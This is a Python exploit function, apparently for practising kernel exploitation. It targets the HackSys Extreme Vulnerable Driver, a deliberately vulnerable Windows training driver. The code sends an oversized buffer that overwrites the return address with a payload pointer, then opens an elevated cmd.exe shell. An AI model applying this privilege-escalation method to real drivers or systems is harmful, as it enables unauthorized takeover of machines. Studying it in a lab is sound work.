HEVD_stackoverflow.py 文件源码

def trigger_stack_overflow():
    dwReturn      = c_ulong()
    driver_handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None)
    if not driver_handle or driver_handle == -1:
        print "[!] Driver handle not found : Error " + str(ctypes.GetLastError())
        sys.exit()

    print "[+] Constructing malicious buffer"
    evil_input = "\x41" * 2080 + struct.pack("<L",heap_alloc_payload())
    evil_size  = len(evil_input)
    evil_input_ptr = id(evil_input) + 20
    print "[+] Buf size: %d" % evil_size
    print "[+] Sending malicious buffer"
    print "[+] Triggering vuln .."
    kernel32.DeviceIoControl(driver_handle, 0x222003, evil_input_ptr, evil_size, None, 0,byref(dwReturn)   , None)

    if shell.IsUserAnAdmin():
        print "[*] Enjoy Elevated Privs !\r\n"
        os.system('cmd.exe')
    else:
        print "[!] Exploit did not work. Re-run it!"